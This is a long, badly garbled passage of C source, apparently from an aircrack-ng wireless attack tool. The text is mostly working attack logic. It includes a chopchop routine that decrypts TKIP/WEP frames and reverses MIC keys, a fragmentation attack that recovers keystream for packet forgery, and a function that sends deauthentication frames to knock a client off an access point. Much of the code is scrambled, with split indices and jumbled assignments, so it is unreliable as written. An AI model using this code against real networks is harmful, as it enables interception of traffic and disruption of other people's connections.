data_end = 46; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 + + + + + + + + + + 8 8 8 8 8 8 8 8 8 8 + + + + + + + + + + 0] 1] 2] 3] 4] 5] 6] 7] 8] 9] = = = = = = = = = = srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 + + + + + + + + + + 8 8 8 8 8 8 8 8 8 8 + + + + + + + + + + 0] 1] 2] 3] 4] 5] 6] 7] 8] 9] ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ 0xAA; 0xAA; 0x03; 0x00; 0x00; 0x00; 0x08; 0x00; ( n >> 8 ); ( n & 0xFF ); + + + + + + 8 8 8 8 8 8 + + + + + + 6] = srcbuf[26 + 8 + 6] ^ 7] = srcbuf[26 + 8 + 7] ^ 8] = srcbuf[26 + 8 + 8] ^ 9] = srcbuf[26 + 8 + 9] ^ 10] = srcbuf[26 + 8 + 10] 11] = srcbuf[26 + 8 + 11] 0x08; 0x06; 0x00; 0x01; ^ 0x08; ^ 0x00;

memcpy( h80211, srcbuf, caplen ); for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[26 + 8] = 0x40 + i; chopped[26 + 8 + 8] = srcbuf[26 + 8 + 8] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[26 + 9] = j; chopped[26 + 13] = srcbuf[26 + 8 + 9] ^ j; if( check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) goto have_crc_match; }

} printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= opt.r_smac[5] = } else { opt.r_dmac[1] |= opt.r_dmac[5] = } // //

( guess < 256 ); guess & 0xFF;

( guess < 256 ); guess & 0xFF;

memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end h80211[data_end h80211[data_end h80211[data_end } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; else tries++; settle=0; }

2] 3] 4] 5]

^= ^= ^= ^=

crc_chop_tbl[guess][3]; crc_chop_tbl[guess][2]; crc_chop_tbl[guess][1]; crc_chop_tbl[guess][0];

if(tries > 768 && data_end < srclen) { //go back one step and validate the last chopped byte tries = 0; data_end++; guess = chopped[data_end - 1] ^ srcbuf[data_end - 1]; chopped[data_end chopped[data_end chopped[data_end chopped[data_end chopped[data_end ticks[3] nb_pkt_sent nb_bad_pkt guess ain.\n"); continue; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 ) { nb_bad_pkt++; if( nb_bad_pkt > 2 ) { printf( "\n\nFailure: got several deauthentication packets " "from the AP - you need to start the whole process " "all over again, as the client got disconnected.\n\n" ); return( 1 ); } continue; } if( if( if( if( h80211[4] h80211[6] h80211[7] h80211[8] != != != != opt.r_smac[0] opt.r_smac[2] opt.r_smac[3] opt.r_smac[4] ) ) ) ) continue; continue; continue; continue; = = = = 1] 2] 3] 4] 5] 0; 0; 0; 256; ^= ^= ^= ^= ^= guess; crc_chop_tbl[guess][3]; crc_chop_tbl[guess][2]; crc_chop_tbl[guess][1]; crc_chop_tbl[guess][0];

PCT; printf("\nMoved one step backwards to chop the last byte ag

// // /*

if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) {*/ if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 );

// } else {

/* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != if( ( h80211[0] & 0x70 ) != if( ( h80211[1] & 0x03 ) if( ( h80211[1] & 0x40 ) == 8 ) continue; //must be a data packet 0 ) continue; != 2 ) continue; 0 ) continue;

//

/* get header length right */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; /* check the extended IV (TKIP) flag */ if( ( h80211[z + 3] & 0x20 ) == 0 ) continue; /* check length (153)!? */ if( z+127 != n ) continue; //(153[26+127] bytes for eapol mic failur e in tkip qos frames from client to AP) // printf("yeah!\n"); //direction must be inverted. if( ((h80211[1] & 3) ^ (srcbuf[1] & 3)) != 0x03 ) continue; //check correct macs switch( h80211[1] & 3 ) { case 1: if( memcmp( bssid, memcmp( dmac , memcmp( bssid, break; case 2: if( memcmp( smac , memcmp( bssid, memcmp( bssid, break; default: continue; break; } /*

h80211 + 4, 6 ) != 0 && h80211 + 10, 6 ) != 0 && h80211 + 16, 6 ) != 0) continue; h80211 + 4, 6 ) != 0 && h80211 + 10, 6 ) != 0 && h80211 + 16, 6 ) != 0) continue;

if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue;

if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); }*/ if(nb_pkt_sent < 1) continue; } /* we have a winner */ // guess = h80211[9]; tries = 0; settle = 0; guess = (guess - 1) % 256; chopped[data_end chopped[data_end chopped[data_end chopped[data_end chopped[data_end 1] 2] 3] 4] 5] ^= ^= ^= ^= ^= guess; crc_chop_tbl[guess][3]; crc_chop_tbl[guess][2]; crc_chop_tbl[guess][1]; crc_chop_tbl[guess][0];

n = caplen - data_start; printf( "\r"); PCT; printf("Offset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() opt.r_smac[2] = rand() opt.r_smac[3] = rand() opt.r_smac[4] = rand() } else { opt.r_dmac[1] = rand() opt.r_dmac[2] = rand() opt.r_dmac[3] = rand() opt.r_dmac[4] = rand() } ticks[3] nb_pkt_sent nb_bad_pkt = 0; = 0; = 0;

& & & &

0x3E; 0xFF; 0xFF; 0xFF;

& & & &

0xFE; 0xFF; 0xFF; 0xFF;

guess data_end--;

= 256;

gettimeofday(&opt.last_mic_failure, NULL); PCT; printf("\rSleeping for %i seconds.", opt.mic_failure_interval); fflush(stdout); if( guess_packet(srcbuf, chopped, caplen, caplen-data_end) == 0) //found correct packet :) break; while(1) { gettimeofday(&mic_fail, NULL); if( (mic_fail.tv_sec - opt.last_mic_failure.tv_sec) * 1000000 + (mic _fail.tv_usec - opt.last_mic_failure.tv_usec) > opt.mic_failure_interval * 10000 00) break; sleep(1); } alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 chopped[26 + + + + + + 8 8 8 8 8 8 + + + + + + 0] 1] 2] 3] 4] 5] = = = = = = srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 srcbuf[26 + + + + + + 8 8 8 8 8 8 + + + + + + 0] 1] 2] 3] 4] 5] ^ ^ ^ ^ ^ ^ b1; b2; 0x03; 0x00; 0x00; 0x00;

for( i = 26 + 8; i < (int) caplen; i++ ) h80211[i - 8] = h80211[i] ^ chopped[i]; if( ! check_crc_buf( h80211 + 26, caplen - 26 - 8 - 4 ) ) { if (!tried_header_rec) { printf( "\nWarning: ICV checksum verification FAILED! Trying workaro und.\n" ); tried_header_rec=1; goto header_rec; } else { printf( "\nWorkaround couldn't fix ICV checksum.\nPacket is most lik ely invalid/useless\nTry another one.\n" ); } } caplen -= 8 + 4; /* remove the TKIP EXT IV & CRC (ICV) */ if(opt.got_ptk) {

PCT; printf("Priority: %02X:%02X\n", h80211[z-2], h80211[z-1]); calc_tkip_mic(h80211, caplen-8, opt.wpa_sta.ptk, mic); if( memcmp(mic, h80211+caplen-8, 8) == 0) { PCT; printf("Correct MIC!\n"); } else { PCT; printf("Incorrect MIC!\n"); } PCT; printf("Captured MIC: "); for(i=0; i<7; i++) printf("%02X:", h80211[caplen-8+i]); printf("%02X\n", h80211[caplen-1]); PCT; printf("Calculated MIC: "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); } calc_tkip_mic_key(h80211, caplen, mic); h80211[1] &= 0xBF; /* remove the WEP bit, too */

if((h80211[1] & 3) == 1) { PCT; printf("Reversed MIC Key (ToDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48+8, mic, 8); opt.got_mic_tods=1; opt.chopped_to_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_to_plain, h80211, caplen); opt.chopped_to_plain_len = caplen; opt.chopped_to_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_to_prga, chopped+26, caplen-26+4+8); opt.chopped_to_prga_len = caplen-26+4+8; } if((h80211[1] & 3) == 2) { PCT; printf("Reversed MIC Key (FromDS): "); for(i=0; i<7; i++) printf("%02X:", mic[i]); printf("%02X\n", mic[7]); memcpy(opt.ptk+48, mic, 8); opt.got_mic_fromds=1; opt.chopped_from_plain = (unsigned char*) malloc( caplen ); memcpy(opt.chopped_from_plain, h80211, caplen); opt.chopped_from_plain_len = caplen; opt.chopped_from_prga = (unsigned char*) malloc( caplen - 26 + 4 + 8 ); memcpy(opt.chopped_from_prga, chopped+26, caplen-26+4+8); opt.chopped_from_prga_len = caplen-26+4+8; } /* save the decrypted packet */ gettimeofday( &tv, NULL );

pfh_out.magic pfh_out.version_major pfh_out.version_minor pfh_out.thiszone pfh_out.sigfigs pfh_out.snaplen pfh_out.linktype pkh.tv_sec pkh.tv_usec pkh.caplen pkh.len = = = =

= = = = = = =

TCPDUMP_MAGIC; PCAP_VERSION_MAJOR; PCAP_VERSION_MINOR; 0; 0; 65535; LINKTYPE_IEEE802_11;

tv.tv_sec; tv.tv_usec; caplen; caplen;

lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.cap", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "\nSaving plaintext in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } n = sizeof( pkh ); if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } n = pkh.caplen; if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); /* save the RC4 stream (xor mask) */ memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "replay_dec-%02d%02d-%02d%02d%02d.xor",

lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving keystream in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = pkh.caplen + 8 - 26 - 8; if( fwrite( chopped + 26 + 8, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed" ); return( 1 ); } fclose( f_cap_out ); PCT; printf( "\nCompleted in %lds (%0.2f bytes/s)\n\n", (long) time( NULL ) - tt, (float) ( pkh.caplen - 6 - 26 ) / (float) ( time( NULL ) - tt ) ); return( 0 ); } int make_arp_request(uchar *h80211, uchar *bssid, uchar *src_mac, uchar *dst_mac , uchar *src_ip, uchar *dst_ip, int size) { uchar *arp_header = (unsigned char*)"\xaa\xaa\x03\x00\x00\x00\x08\x06\x0 0\x01\x08\x00\x06\x04\x00\x01"; uchar *header80211 = (unsigned char*)"\x08\x41\x95\x00"; // 802.11 part memcpy(h80211, header80211, memcpy(h80211+4, bssid, memcpy(h80211+10, src_mac, memcpy(h80211+16, dst_mac, h80211[22] = '\x00'; h80211[23] = '\x00'; // ARP part memcpy(h80211+24, memcpy(h80211+40, memcpy(h80211+46, memset(h80211+50, memcpy(h80211+56, arp_header, src_mac, src_ip, '\x00', dst_ip, 4); 6); 6); 6);

16); 6); 4); 6); 4);

// Insert padding bytes memset(h80211+60, '\x00', size-60); return 0; } void save_prga(char *filename, uchar *iv, uchar *prga, int prgalen) { size_t unused;

FILE *xorfile; xorfile = fopen(filename, "wb"); unused = fwrite (iv, 1, 4, xorfile); unused = fwrite (prga, 1, prgalen, xorfile); fclose (xorfile); } int do_attack_fragment() { uchar packet[4096]; uchar packet2[4096]; uchar prga[4096]; uchar iv[4]; // uchar ack[14] = "\xd4"; char strbuf[256]; struct tm *lt; struct timeval tv, tv2; int int int int int int int int int int int int int int done; caplen; caplen2; arplen; round; prga_len; isrelay; again; length; ret; gotit; acksgot; packets; z;

uchar *snap_header = (unsigned char*)"\xAA\xAA\x03\x00\x00\x00\x08\x00"; done = caplen = caplen2 = arplen = round = 0; prga_len = isrelay = gotit = again = length = 0; if( memcmp( opt.r_smac, NULL_MAC, 6 ) == 0 ) { printf( "Please specify a source MAC (-h).\n" ); return( 1 ); } if(getnet(NULL, 1, 1) != 0) return 1; if( memcmp( opt.r_dmac, NULL_MAC, 6 ) == 0 ) { memset( opt.r_dmac, '\xFF', 6); opt.r_dmac[5] = 0xED; } if( memcmp( opt.r_sip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_sip, '\xFF', 4); }

if( memcmp( opt.r_dip, NULL_MAC, 4 ) == 0 ) { memset( opt.r_dip, '\xFF', 4); } PCT; printf ("Waiting for a data packet...\n"); while(!done) // { round = 0; if( capture_ask_packet( &caplen, 0 ) != 0 ) return -1; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if((unsigned)caplen > sizeof(packet) || (unsigned)caplen > sizeof(packet 2)) continue; memcpy( packet2, h80211, caplen ); caplen2 = caplen; PCT; printf("Data packet found!\n"); if ( memcmp( packet2 + 4, SPANTREE, 6 ) == 0 || memcmp( packet2 + 16, SPANTREE, 6 ) == 0 ) { packet2[z+4] = ((packet2[z+4] ^ 0x42) ^ 0xAA); //0x42 instead of 0x AA packet2[z+5] = ((packet2[z+5] ^ 0x42) ^ 0xAA); //0x42 instead of 0x AA packet2[z+6] = ((packet2[z+6] ^ 0x00) ^ 0x08); //0x00 instead of 0x 08 } prga_len = 7; again = RETRY; memcpy( packet, packet2, caplen2 ); caplen = caplen2; memcpy(prga, packet+z+4, prga_len); memcpy(iv, packet+z, 4); xor_keystream(prga, snap_header, prga_len); while(again == RETRY) //sending 7byte fragments { again = 0; arplen=60; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_ sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n");

memset(h80211+24, '\x00', 39); arplen=63; } acksgot=0; packets=(arplen-24)/(prga_len-4); if( (arplen-24)%(prga_len-4) != 0 ) packets++; PCT; printf("Sending fragmented packet\n"); send_fragments(h80211, arplen, iv, prga, prga_len-4, 0); //Plus an ACK send_packet(ack, 10); gettimeofday( &tv, NULL ); while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { acksgot++; } continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our M AC { if (caplen-z < 66) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" );

// //

read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for a cks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n") ; again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 60); if (caplen-z == 68-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 71-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 39); } if (! isrelay) { //Building expected cleartext uchar ct[4096] = "\xaa\xaa\x03\x00\x00\x00\x08\x06\x00\x01\x08\x00\x

06\x04\x00\x02"; //Ethernet & ARP header //Followed by the senders MAC and IP: memcpy(ct+16, packet+16, 6); memcpy(ct+22, opt.r_dip, 4); //And our own MAC and IP: memcpy(ct+26, opt.r_smac, 6); memcpy(ct+32, opt.r_sip, 4); //Calculating memcpy(prga, packet+z+4, 36); xor_keystream(prga, ct, 36); } else { memcpy(prga, packet+z+4, 36); xor_keystream(prga, h80211+24, 36); } memcpy(iv, packet+z, 4); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 384 bytes of a keystream\n"); arplen=408; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_ sip, opt.r_dip, arplen); if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', arplen+8); arplen+=32; } acksgot=0; packets=(arplen-24)/(32); if( (arplen-24)%(32) != 0 ) packets++; // // send_fragments(h80211, arplen, iv, prga, 32, 0); //Plus an ACK send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2;

if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; } if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our M AC { if (caplen-z > 400-24 && caplen-z < 500-24) //I s short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for a cks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer

{ PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { PCT; printf("Still nothing, trying another packet...\n") ; again = NEW_IV; } break; } } } if(again == NEW_IV) continue; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, 408); if (caplen-z == 416-24) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen-z == 448-24) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', 416); } memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, 384); xor_keystream(prga, h80211+24, 384); round = 0; again = RETRY; while(again == RETRY) { again = 0; PCT; printf("Trying to get 1500 bytes of a keystream\n"); make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_ sip, opt.r_dip, 1500); arplen=1500; if ((round % 2) == 1) { PCT; printf("Trying a LLC NULL packet\n"); memset(h80211+24, '\x00', 1508); arplen+=32; } acksgot=0; packets=(arplen-24)/(300); if( (arplen-24)%(300) != 0 ) packets++; // send_fragments(h80211, arplen, iv, prga, 300, 0); //Plus an ACK

//

send_packet(ack, 10); gettimeofday( &tv, NULL ); gotit=0; while (!gotit) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), NULL); z = ( ( packet[1] & 3 ) != 3 ) ? 24 : 30; if ( ( packet[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if (packet[0] == 0xD4 ) { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC acksgot++; continue; }

if ((packet[0] & 0x08) && (( packet[1] & 0x40 ) == 0x40) ) //Is data frame && encrypted { if ( (packet[1] & 2) ) //Is a FromDS packet with valid IV { if (! memcmp(opt.r_dmac, packet+4, 6)) //To our MAC { if (! memcmp(opt.r_smac, packet+16, 6)) //From our M AC { if (caplen-z > 1496-24) //Is short enough { //This is our relayed packet! PCT; printf("Got RELAYED packet!!\n"); gotit = 1; isrelay = 1; } } } } } /* check if we got an deauthentication packet */ if( packet[0] == 0xC0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a deauthentication packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } /* check if we got an disassociation packet */ if( packet[0] == 0xA0 && memcmp( packet+4, opt.r_smac, 6) == 0 ) { PCT; printf( "Got a disassociation packet!\n" ); read_sleep( 5*1000000 ); //sleep 5 seconds and ignore all fr ames in this period } gettimeofday( &tv2, NULL );

if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (100*1000) && acksgot >0 && acksgot < packets )//wait 100ms for a cks { PCT; printf("Not enough acks, repeating...\n"); again = RETRY; break; } if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - t v.tv_usec)) > (1500*1000) && !gotit) //wait 1500ms for an answer { PCT; printf("No answer, repeating...\n"); round++; again = RETRY; if (round > 10) { printf("Still nothing, quitting with 384 bytes? [y/n] \n "); fflush( stdout ); ret=0; while(!ret) ret = scanf( "%s", tmpbuf ); printf( "\n" ); if( tmpbuf[0] == 'y' || tmpbuf[0] == 'Y' ) again = ABORT; else again = NEW_IV; } break; } } } if(again == NEW_IV) continue; if(again == ABORT) length = 408; else length = 1500; make_arp_request(h80211, opt.f_bssid, opt.r_smac, opt.r_dmac, opt.r_sip, opt.r_dip, length); if (caplen == length+8+z) { //Thats the ARP packet! // PCT; printf("Thats our ARP packet!\n"); } if (caplen == length+16+z) { //Thats the LLC NULL packet! // PCT; printf("Thats our LLC Null packet!\n"); memset(h80211+24, '\x00', length+8); } if(again != ABORT) { memcpy(iv, packet+z, 4); memcpy(prga, packet+z+4, length); xor_keystream(prga, h80211+24, length); }

lt = localtime( (const time_t *) &tv.tv_sec ); memset( strbuf, 0, sizeof( strbuf ) ); snprintf( strbuf, sizeof( strbuf ) - 1, "fragment-%02d%02d-%02d%02d%02d.xor", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); save_prga(strbuf, iv, prga, length); printf( "Saving keystream in %s\n", strbuf ); printf("Now you can build a packet with packetforge-ng out of that %d by tes keystream\n", length); done=1; } return( 0 ); } static int get_ip_port(char *iface, char *ip, const int ip_size) { char *host; char *ptr; int port = -1; struct in_addr addr; host = strdup(iface); if (!host) return -1; ptr = strchr(host, ':'); if (!ptr) goto out; *ptr++ = 0; if (!inet_aton(host, (struct in_addr *)&addr)) goto out; /* XXX resolve hostname */ if(strlen(host) > 15) { port = -1; goto out; } strncpy(ip, host, ip_size); port = atoi(ptr); if(port <= 0) port = -1; out: free(host); return port; } int getHDSK() { int i, n; int aacks, sacks, caplen; struct timeval tv;

fd_set rfds; n = 0; // usleep( 180000 ); /* deauthenticate the target */ memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.r_bssid, 6 ); aacks = 0; sacks = 0; for( i = 0; i < 4; i++ ) { if(i == 0) { PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } memcpy( h80211 + 4, opt.wpa.stmac, 6 ); memcpy( h80211 + 10, opt.r_bssid, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 2000 ); memcpy( h80211 + 4, opt.r_bssid, 6 ); memcpy( h80211 + 10, opt.wpa.stmac, 6 ); if( send_packet( h80211, 26 ) < 0 ) return( 1 ); usleep( 100000 ); while( 1 ) { FD_ZERO( &rfds ); FD_SET( dev.fd_in, &rfds ); tv.tv_sec = 0; tv.tv_usec = 1000; if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 ) { if( errno == EINTR ) continue; perror( "select failed" ); return( 1 ); } if( ! FD_ISSET( dev.fd_in, &rfds ) ) break; caplen = read_packet( h80211, sizeof( h80211 ), NULL );

check_received(h80211, caplen); if(caplen <= 0 ) break; if(caplen != 10) continue; if( h80211[0] == 0xD4) { if( memcmp(h80211+4, opt.wpa.stmac, 6) == 0 ) { aacks++; } if( memcmp(h80211+4, opt.r_bssid, 6) == 0 ) { sacks++; } PCT; printf( "Sending 4 directed DeAuth. STMAC:" " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs] \r", opt.wpa.stmac[0], opt.wpa.stmac[1], opt.wpa.stmac[2], opt.wpa.stmac[3], opt.wpa.stmac[4], opt.wpa.stmac[5], sacks, aacks ); } } } printf("\n"); return( 0 ); } int main( int argc, char *argv[] ) { int i, j, n, ret, got_hdsk; char *s, buf[128]; int caplen=0; uchar packet1[4096]; uchar packet2[4096]; int packet1_len, packet2_len; struct timeval mic_fail; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype opt.f_minlen = 80; opt.f_maxlen opt.f_minlen_set = 0; opt.f_maxlen_set = 0; opt.f_tods = -1; opt.f_fromds opt.f_iswep = -1; opt.ringbuffer = -1; = 80; = -1; = 8;

